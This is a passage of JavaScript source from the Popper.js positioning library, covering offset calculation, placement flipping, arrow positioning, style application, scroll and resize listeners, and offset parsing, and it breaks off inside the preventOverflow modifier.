  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  var window = element.ownerDocument.defaultView;
  var styles = window.getComputedStyle(element);
  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  var result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, function (matched) {
    return hash[matched];
  });
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  var popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  var popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  var mainSide = isHoriz ? 'top' : 'left';
  var secondarySide = isHoriz ? 'left' : 'top';
  var measurement = isHoriz ? 'height' : 'width';
  var secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(function (cur) {
      return cur[prop] === value;
    });
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  var match = find(arr, function (obj) {
    return obj[prop] === value;
  });
  return arr.indexOf(match);
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(function (modifier) {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Updates the position of the popper, computing the new offsets and applying
 * the new style.<br />
 * Prefer `scheduleUpdate` over `update` because of performance reasons.
 * @method
 * @memberof Popper
 */
function update() {
  // if popper is destroyed, don't perform any further update
  if (this.state.isDestroyed) {
    return;
  }

  var data = {
    instance: this,
    styles: {},
    arrowStyles: {},
    attributes: {},
    flipped: false,
    offsets: {}
  };

  // compute reference element offsets
  data.offsets.reference = getReferenceOffsets(this.state, this.popper, this.reference, this.options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  data.placement = computeAutoPlacement(this.options.placement, data.offsets.reference, this.popper, this.reference, this.options.modifiers.flip.boundariesElement, this.options.modifiers.flip.padding);

  // store the computed placement inside `originalPlacement`
  data.originalPlacement = data.placement;

  data.positionFixed = this.options.positionFixed;

  // compute the popper offsets
  data.offsets.popper = getPopperOffsets(this.popper, data.offsets.reference, data.placement);

  data.offsets.popper.position = this.options.positionFixed ? 'fixed' : 'absolute';

  // run the modifiers
  data = runModifiers(this.modifiers, data);

  // the first `update` will call `onCreate` callback
  // the other ones will call `onUpdate` callback
  if (!this.state.isCreated) {
    this.state.isCreated = true;
    this.options.onCreate(data);
  } else {
    this.options.onUpdate(data);
  }
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(function (_ref) {
    var name = _ref.name,
        enabled = _ref.enabled;
    return enabled && name === modifierName;
  });
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (var i = 0; i < prefixes.length; i++) {
    var prefix = prefixes[i];
    var toCheck = prefix ? '' + prefix + upperProp : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Destroys the popper.
 * @method
 * @memberof Popper
 */
function destroy() {
  this.state.isDestroyed = true;

  // touch DOM only if `applyStyle` modifier is enabled
  if (isModifierEnabled(this.modifiers, 'applyStyle')) {
    this.popper.removeAttribute('x-placement');
    this.popper.style.position = '';
    this.popper.style.top = '';
    this.popper.style.left = '';
    this.popper.style.right = '';
    this.popper.style.bottom = '';
    this.popper.style.willChange = '';
    this.popper.style[getSupportedPropertyName('transform')] = '';
  }

  this.disableEventListeners();

  // remove the popper if user explicity asked for the deletion on destroy
  // do not use `remove` because IE11 doesn't support it
  if (this.options.removeOnDestroy) {
    this.popper.parentNode.removeChild(this.popper);
  }
  return this;
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  var ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  var isBody = scrollParent.nodeName === 'BODY';
  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  var scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

/**
 * It will add resize/scroll events and start recalculating
 * position of the popper element when they are triggered.
 * @method
 * @memberof Popper
 */
function enableEventListeners() {
  if (!this.state.eventsEnabled) {
    this.state = setupEventListeners(this.reference, this.options, this.state, this.scheduleUpdate);
  }
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(function (target) {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * It will remove resize/scroll events and won't recalculate popper position
 * when they are triggered. It also won't trigger `onUpdate` callback anymore,
 * unless you call `update` method manually.
 * @method
 * @memberof Popper
 */
function disableEventListeners() {
  if (this.state.eventsEnabled) {
    cancelAnimationFrame(this.scheduleUpdate);
    this.state = removeEventListeners(this.reference, this.state);
  }
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(function (prop) {
    var unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    var value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} data.styles - List of style properties - values to apply to popper element
 * @argument {Object} data.attributes - List of attribute properties - values to apply to popper element
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The same data object
 */
function applyStyle(data) {
  // any property present in `data.styles` will be applied to the popper,
  // in this way we can make the 3rd party modifiers add custom styles to it
  // Be aware, modifiers could override the properties defined in the previous
  // lines of this modifier!
  setStyles(data.instance.popper, data.styles);

  // any property present in `data.attributes` will be applied to the popper,
  // they will be set as HTML attributes of the element
  setAttributes(data.instance.popper, data.attributes);

  // if arrowElement is defined and arrowStyles has some properties
  if (data.arrowElement && Object.keys(data.arrowStyles).length) {
    setStyles(data.arrowElement, data.arrowStyles);
  }

  return data;
}

/**
 * Set the x-placement attribute before everything else because it could be used
 * to add margins to the popper margins needs to be calculated to get the
 * correct popper offsets.
 * @method
 * @memberof Popper.modifiers
 * @param {HTMLElement} reference - The reference element used to position the popper
 * @param {HTMLElement} popper - The HTML element used as popper
 * @param {Object} options - Popper.js options
 */
function applyStyleOnLoad(reference, popper, options, modifierOptions, state) {
  // compute reference element offsets
  var referenceOffsets = getReferenceOffsets(state, popper, reference, options.positionFixed);

  // compute auto placement, store placement inside the data object,
  // modifiers will be able to edit `placement` if needed
  // and refer to originalPlacement to know the original value
  var placement = computeAutoPlacement(options.placement, referenceOffsets, popper, reference, options.modifiers.flip.boundariesElement, options.modifiers.flip.padding);

  popper.setAttribute('x-placement', placement);

  // Apply `position` to popper before anything else because
  // without the position applied we can't guarantee correct computations
  setStyles(popper, { position: options.positionFixed ? 'fixed' : 'absolute' });

  return options;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeStyle(data, options) {
  var x = options.x,
      y = options.y;
  var popper = data.offsets.popper;

  // Remove this legacy support in Popper.js v2

  var legacyGpuAccelerationOption = find(data.instance.modifiers, function (modifier) {
    return modifier.name === 'applyStyle';
  }).gpuAcceleration;
  if (legacyGpuAccelerationOption !== undefined) {
    console.warn('WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!');
  }
  var gpuAcceleration = legacyGpuAccelerationOption !== undefined ? legacyGpuAccelerationOption : options.gpuAcceleration;

  var offsetParent = getOffsetParent(data.instance.popper);
  var offsetParentRect = getBoundingClientRect(offsetParent);

  // Styles
  var styles = {
    position: popper.position
  };

  // Avoid blurry text by using full pixel integers.
  // For pixel-perfect positioning, top/bottom prefers rounded
  // values, while left/right prefers floored values.
  var offsets = {
    left: Math.floor(popper.left),
    top: Math.round(popper.top),
    bottom: Math.round(popper.bottom),
    right: Math.floor(popper.right)
  };

  var sideA = x === 'bottom' ? 'top' : 'bottom';
  var sideB = y === 'right' ? 'left' : 'right';

  // if gpuAcceleration is set to `true` and transform is supported,
  //  we use `translate3d` to apply the position to the popper we
  // automatically use the supported prefixed version if needed
  var prefixedProperty = getSupportedPropertyName('transform');

  // now, let's make a step back and look at this code closely (wtf?)
  // If the content of the popper grows once it's been positioned, it
  // may happen that the popper gets misplaced because of the new content
  // overflowing its reference element
  // To avoid this problem, we provide two options (x and y), which allow
  // the consumer to define the offset origin.
  // If we position a popper on top of a reference element, we can set
  // `x` to `top` to make the popper grow towards its top instead of
  // its bottom.
  var left = void 0,
      top = void 0;
  if (sideA === 'bottom') {
    // when offsetParent is <html> the positioning is relative to the bottom of the screen (excluding the scrollbar)
    // and not the bottom of the html element
    if (offsetParent.nodeName === 'HTML') {
      top = -offsetParent.clientHeight + offsets.bottom;
    } else {
      top = -offsetParentRect.height + offsets.bottom;
    }
  } else {
    top = offsets.top;
  }
  if (sideB === 'right') {
    if (offsetParent.nodeName === 'HTML') {
      left = -offsetParent.clientWidth + offsets.right;
    } else {
      left = -offsetParentRect.width + offsets.right;
    }
  } else {
    left = offsets.left;
  }
  if (gpuAcceleration && prefixedProperty) {
    styles[prefixedProperty] = 'translate3d(' + left + 'px, ' + top + 'px, 0)';
    styles[sideA] = 0;
    styles[sideB] = 0;
    styles.willChange = 'transform';
  } else {
    // othwerise, we use the standard `top`, `left`, `bottom` and `right` properties
    var invertTop = sideA === 'bottom' ? -1 : 1;
    var invertLeft = sideB === 'right' ? -1 : 1;
    styles[sideA] = top * invertTop;
    styles[sideB] = left * invertLeft;
    styles.willChange = sideA + ', ' + sideB;
  }

  // Attributes
  var attributes = {
    'x-placement': data.placement
  };

  // Update `data` attributes, styles and arrowStyles
  data.attributes = _extends({}, attributes, data.attributes);
  data.styles = _extends({}, styles, data.styles);
  data.arrowStyles = _extends({}, data.offsets.arrow, data.arrowStyles);

  return data;
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  var requesting = find(modifiers, function (_ref) {
    var name = _ref.name;
    return name === requestingName;
  });

  var isRequired = !!requesting && modifiers.some(function (modifier) {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    var _requesting = '`' + requestingName + '`';
    var requested = '`' + requestedName + '`';
    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');
  }
  return isRequired;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function arrow(data, options) {
  var _data$offsets$arrow;

  // arrow depends on keepTogether in order to work
  if (!isModifierRequired(data.instance.modifiers, 'arrow', 'keepTogether')) {
    return data;
  }

  var arrowElement = options.element;

  // if arrowElement is a string, suppose it's a CSS selector
  if (typeof arrowElement === 'string') {
    arrowElement = data.instance.popper.querySelector(arrowElement);

    // if arrowElement is not found, don't run the modifier
    if (!arrowElement) {
      return data;
    }
  } else {
    // if the arrowElement isn't a query selector we must check that the
    // provided DOM node is child of its popper node
    if (!data.instance.popper.contains(arrowElement)) {
      console.warn('WARNING: `arrow.element` must be child of its popper element!');
      return data;
    }
  }

  var placement = data.placement.split('-')[0];
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var isVertical = ['left', 'right'].indexOf(placement) !== -1;

  var len = isVertical ? 'height' : 'width';
  var sideCapitalized = isVertical ? 'Top' : 'Left';
  var side = sideCapitalized.toLowerCase();
  var altSide = isVertical ? 'left' : 'top';
  var opSide = isVertical ? 'bottom' : 'right';
  var arrowElementSize = getOuterSizes(arrowElement)[len];

  //
  // extends keepTogether behavior making sure the popper and its
  // reference have enough pixels in conjunction
  //

  // top/left side
  if (reference[opSide] - arrowElementSize < popper[side]) {
    data.offsets.popper[side] -= popper[side] - (reference[opSide] - arrowElementSize);
  }
  // bottom/right side
  if (reference[side] + arrowElementSize > popper[opSide]) {
    data.offsets.popper[side] += reference[side] + arrowElementSize - popper[opSide];
  }
  data.offsets.popper = getClientRect(data.offsets.popper);

  // compute center of the popper
  var center = reference[side] + reference[len] / 2 - arrowElementSize / 2;

  // Compute the sideValue using the updated popper offsets
  // take popper margin in account because we don't have this info available
  var css = getStyleComputedProperty(data.instance.popper);
  var popperMarginSide = parseFloat(css['margin' + sideCapitalized], 10);
  var popperBorderSide = parseFloat(css['border' + sideCapitalized + 'Width'], 10);
  var sideValue = center - data.offsets.popper[side] - popperMarginSide - popperBorderSide;

  // prevent arrowElement from being placed not contiguously to its popper
  sideValue = Math.max(Math.min(popper[len] - arrowElementSize, sideValue), 0);

  data.arrowElement = arrowElement;
  data.offsets.arrow = (_data$offsets$arrow = {}, defineProperty(_data$offsets$arrow, side, Math.round(sideValue)), defineProperty(_data$offsets$arrow, altSide, ''), _data$offsets$arrow);

  return data;
}

/**
 * Get the opposite placement variation of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement variation
 * @returns {String} flipped placement variation
 */
function getOppositeVariation(variation) {
  if (variation === 'end') {
    return 'start';
  } else if (variation === 'start') {
    return 'end';
  }
  return variation;
}

/**
 * List of accepted placements to use as values of the `placement` option.<br />
 * Valid placements are:
 * - `auto`
 * - `top`
 * - `right`
 * - `bottom`
 * - `left`
 *
 * Each placement can have a variation from this list:
 * - `-start`
 * - `-end`
 *
 * Variations are interpreted easily if you think of them as the left to right
 * written languages. Horizontally (`top` and `bottom`), `start` is left and `end`
 * is right.<br />
 * Vertically (`left` and `right`), `start` is top and `end` is bottom.
 *
 * Some valid examples are:
 * - `top-end` (on top of reference, right aligned)
 * - `right-start` (on right of reference, top aligned)
 * - `bottom` (on bottom, centered)
 * - `auto-end` (on the side with more space available, alignment depends by placement)
 *
 * @static
 * @type {Array}
 * @enum {String}
 * @readonly
 * @method placements
 * @memberof Popper
 */
var placements = ['auto-start', 'auto', 'auto-end', 'top-start', 'top', 'top-end', 'right-start', 'right', 'right-end', 'bottom-end', 'bottom', 'bottom-start', 'left-end', 'left', 'left-start'];

// Get rid of `auto` `auto-start` and `auto-end`
var validPlacements = placements.slice(3);

/**
 * Given an initial placement, returns all the subsequent placements
 * clockwise (or counter-clockwise).
 *
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement - A valid placement (it accepts variations)
 * @argument {Boolean} counter - Set to true to walk the placements counterclockwise
 * @returns {Array} placements including their variations
 */
function clockwise(placement) {
  var counter = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var index = validPlacements.indexOf(placement);
  var arr = validPlacements.slice(index + 1).concat(validPlacements.slice(0, index));
  return counter ? arr.reverse() : arr;
}

var BEHAVIORS = {
  FLIP: 'flip',
  CLOCKWISE: 'clockwise',
  COUNTERCLOCKWISE: 'counterclockwise'
};

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function flip(data, options) {
  // if `inner` modifier is enabled, we can't use the `flip` modifier
  if (isModifierEnabled(data.instance.modifiers, 'inner')) {
    return data;
  }

  if (data.flipped && data.placement === data.originalPlacement) {
    // seems like flip is trying to loop, probably there's not enough space on any of the flippable sides
    return data;
  }

  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, options.boundariesElement, data.positionFixed);

  var placement = data.placement.split('-')[0];
  var placementOpposite = getOppositePlacement(placement);
  var variation = data.placement.split('-')[1] || '';

  var flipOrder = [];

  switch (options.behavior) {
    case BEHAVIORS.FLIP:
      flipOrder = [placement, placementOpposite];
      break;
    case BEHAVIORS.CLOCKWISE:
      flipOrder = clockwise(placement);
      break;
    case BEHAVIORS.COUNTERCLOCKWISE:
      flipOrder = clockwise(placement, true);
      break;
    default:
      flipOrder = options.behavior;
  }

  flipOrder.forEach(function (step, index) {
    if (placement !== step || flipOrder.length === index + 1) {
      return data;
    }

    placement = data.placement.split('-')[0];
    placementOpposite = getOppositePlacement(placement);

    var popperOffsets = data.offsets.popper;
    var refOffsets = data.offsets.reference;

    // using floor because the reference offsets may contain decimals we are not going to consider here
    var floor = Math.floor;
    var overlapsRef = placement === 'left' && floor(popperOffsets.right) > floor(refOffsets.left) || placement === 'right' && floor(popperOffsets.left) < floor(refOffsets.right) || placement === 'top' && floor(popperOffsets.bottom) > floor(refOffsets.top) || placement === 'bottom' && floor(popperOffsets.top) < floor(refOffsets.bottom);

    var overflowsLeft = floor(popperOffsets.left) < floor(boundaries.left);
    var overflowsRight = floor(popperOffsets.right) > floor(boundaries.right);
    var overflowsTop = floor(popperOffsets.top) < floor(boundaries.top);
    var overflowsBottom = floor(popperOffsets.bottom) > floor(boundaries.bottom);

    var overflowsBoundaries = placement === 'left' && overflowsLeft || placement === 'right' && overflowsRight || placement === 'top' && overflowsTop || placement === 'bottom' && overflowsBottom;

    // flip the variation if required
    var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
    var flippedVariation = !!options.flipVariations && (isVertical && variation === 'start' && overflowsLeft || isVertical && variation === 'end' && overflowsRight || !isVertical && variation === 'start' && overflowsTop || !isVertical && variation === 'end' && overflowsBottom);

    if (overlapsRef || overflowsBoundaries || flippedVariation) {
      // this boolean to detect any flip loop
      data.flipped = true;

      if (overlapsRef || overflowsBoundaries) {
        placement = flipOrder[index + 1];
      }

      if (flippedVariation) {
        variation = getOppositeVariation(variation);
      }

      data.placement = placement + (variation ? '-' + variation : '');

      // this object contains `position`, we want to preserve it along with
      // any additional property we may add in the future
      data.offsets.popper = _extends({}, data.offsets.popper, getPopperOffsets(data.instance.popper, data.offsets.reference, data.placement));

      data = runModifiers(data.instance.modifiers, data, 'flip');
    }
  });
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function keepTogether(data) {
  var _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var placement = data.placement.split('-')[0];
  var floor = Math.floor;
  var isVertical = ['top', 'bottom'].indexOf(placement) !== -1;
  var side = isVertical ? 'right' : 'bottom';
  var opSide = isVertical ? 'left' : 'top';
  var measurement = isVertical ? 'width' : 'height';

  if (popper[side] < floor(reference[opSide])) {
    data.offsets.popper[opSide] = floor(reference[opSide]) - popper[measurement];
  }
  if (popper[opSide] > floor(reference[side])) {
    data.offsets.popper[opSide] = floor(reference[side]);
  }

  return data;
}

/**
 * Converts a string containing value + unit into a px value number
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} str - Value + unit string
 * @argument {String} measurement - `height` or `width`
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @returns {Number|String}
 * Value in pixels, or original string if no values were extracted
 */
function toValue(str, measurement, popperOffsets, referenceOffsets) {
  // separate value from unit
  var split = str.match(/((?:\-|\+)?\d*\.?\d*)(.*)/);
  var value = +split[1];
  var unit = split[2];

  // If it's not a number it's an operator, I guess
  if (!value) {
    return str;
  }

  if (unit.indexOf('%') === 0) {
    var element = void 0;
    switch (unit) {
      case '%p':
        element = popperOffsets;
        break;
      case '%':
      case '%r':
      default:
        element = referenceOffsets;
    }

    var rect = getClientRect(element);
    return rect[measurement] / 100 * value;
  } else if (unit === 'vh' || unit === 'vw') {
    // if is a vh or vw, we calculate the size based on the viewport
    var size = void 0;
    if (unit === 'vh') {
      size = Math.max(document.documentElement.clientHeight, window.innerHeight || 0);
    } else {
      size = Math.max(document.documentElement.clientWidth, window.innerWidth || 0);
    }
    return size / 100 * value;
  } else {
    // if is an explicit pixel unit, we get rid of the unit and keep the value
    // if is an implicit unit, it's px, and we return just the value
    return value;
  }
}

/**
 * Parse an `offset` string to extrapolate `x` and `y` numeric offsets.
 * @function
 * @memberof {modifiers~offset}
 * @private
 * @argument {String} offset
 * @argument {Object} popperOffsets
 * @argument {Object} referenceOffsets
 * @argument {String} basePlacement
 * @returns {Array} a two cells array with x and y offsets in numbers
 */
function parseOffset(offset, popperOffsets, referenceOffsets, basePlacement) {
  var offsets = [0, 0];

  // Use height if placement is left or right and index is 0 otherwise use width
  // in this way the first offset will use an axis and the second one
  // will use the other one
  var useHeight = ['right', 'left'].indexOf(basePlacement) !== -1;

  // Split the offset string to obtain a list of values and operands
  // The regex addresses values with the plus or minus sign in front (+10, -20, etc)
  var fragments = offset.split(/(\+|\-)/).map(function (frag) {
    return frag.trim();
  });

  // Detect if the offset string contains a pair of values or a single one
  // they could be separated by comma or space
  var divider = fragments.indexOf(find(fragments, function (frag) {
    return frag.search(/,|\s/) !== -1;
  }));

  if (fragments[divider] && fragments[divider].indexOf(',') === -1) {
    console.warn('Offsets separated by white space(s) are deprecated, use a comma (,) instead.');
  }

  // If divider is found, we divide the list of values and operands to divide
  // them by ofset X and Y.
  var splitRegex = /\s*,\s*|\s+/;
  var ops = divider !== -1 ? [fragments.slice(0, divider).concat([fragments[divider].split(splitRegex)[0]]), [fragments[divider].split(splitRegex)[1]].concat(fragments.slice(divider + 1))] : [fragments];

  // Convert the values with units to absolute pixels to allow our computations
  ops = ops.map(function (op, index) {
    // Most of the units rely on the orientation of the popper
    var measurement = (index === 1 ? !useHeight : useHeight) ? 'height' : 'width';
    var mergeWithPrevious = false;
    return op
    // This aggregates any `+` or `-` sign that aren't considered operators
    // e.g.: 10 + +5 => [10, +, +5]
    .reduce(function (a, b) {
      if (a[a.length - 1] === '' && ['+', '-'].indexOf(b) !== -1) {
        a[a.length - 1] = b;
        mergeWithPrevious = true;
        return a;
      } else if (mergeWithPrevious) {
        a[a.length - 1] += b;
        mergeWithPrevious = false;
        return a;
      } else {
        return a.concat(b);
      }
    }, [])
    // Here we convert the string values into number values (in px)
    .map(function (str) {
      return toValue(str, measurement, popperOffsets, referenceOffsets);
    });
  });

  // Loop trough the offsets arrays and execute the operations
  ops.forEach(function (op, index) {
    op.forEach(function (frag, index2) {
      if (isNumeric(frag)) {
        offsets[index] += frag * (op[index2 - 1] === '-' ? -1 : 1);
      }
    });
  });
  return offsets;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @argument {Number|String} options.offset=0
 * The offset value as described in the modifier description
 * @returns {Object} The data object, properly modified
 */
function offset(data, _ref) {
  var offset = _ref.offset;
  var placement = data.placement,
      _data$offsets = data.offsets,
      popper = _data$offsets.popper,
      reference = _data$offsets.reference;

  var basePlacement = placement.split('-')[0];

  var offsets = void 0;
  if (isNumeric(+offset)) {
    offsets = [+offset, 0];
  } else {
    offsets = parseOffset(offset, popper, reference, basePlacement);
  }

  if (basePlacement === 'left') {
    popper.top += offsets[0];
    popper.left -= offsets[1];
  } else if (basePlacement === 'right') {
    popper.top += offsets[0];
    popper.left += offsets[1];
  } else if (basePlacement === 'top') {
    popper.left += offsets[0];
    popper.top -= offsets[1];
  } else if (basePlacement === 'bottom') {
    popper.left += offsets[0];
    popper.top += offsets[1];
  }

  data.popper = popper;
  return data;
}

/**
 * @function
 * @memberof Modifiers
 * @argument {Object} data - The data object generated by `update` method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function preventOverflow(data, options) {
  var boundariesElement = options.boundariesElement || getOffsetParent(data.instance.popper);

  // If offsetParent is the reference element, we really want to
  // go one step up and use the next offsetParent as reference to
  // avoid to make this modifier completely useless and look like broken
  if (data.instance.reference === boundariesElement) {
    boundariesElement = getOffsetParent(boundariesElement);
  }

  // NOTE: DOM access here
  // resets the popper's position so that the document size can be calculated excluding
  // the size of the popper element itself
  var transformProp = getSupportedPropertyName('transform');
  var popperStyles = data.instance.popper.style; // assignment to help minification
  var top = popperStyles.top,
      left = popperStyles.left,
      transform = popperStyles[transformProp];

  popperStyles.top = '';
  popperStyles.left = '';
  popperStyles[transformProp] = '';

  var boundaries = getBoundaries(data.instance.popper, data.instance.reference, options.padding, boundariesElement, data.positionFixed);

  // NOTE: DOM access here
  // restores the original style properties after the offsets have been computed
  popperStyles.top = top;
  popperStyles.left = left;
  popperStyles[transformProp] = transform;

  options.boundaries = boundaries;

  var order = options.priority;
  var popper = data.offsets.popper;

  var check = {
    primary: function primary(placement) {
      var value = popper[placement];
      if (popper[placement] < boundaries[placement] && !options.escapeWithReference) {
        value = Math.max(popper[placement], boundaries[placement]);
      }
      return defineProperty({}, placement, value);
    },
    secondary: function secondary(placement) {
      var mainSide = placement === 'right' ? 'left' : 'top';
      var value = popper[mainSide];
      if (popper[placement] > boundaries[placement] && !options.escapeWithReference) {
        value = Math.min(popper[mainSide], boundaries[placement] - (placement === 'right' ? popper.width : popper.height));
      }
      return defineProperty({}, mainSide, value);
    }
  };

  order.forEach(function (placement) {
    var side = ['left', 'top'].indexOf(placement) !== -1 ? 'primary' : 'secondary';
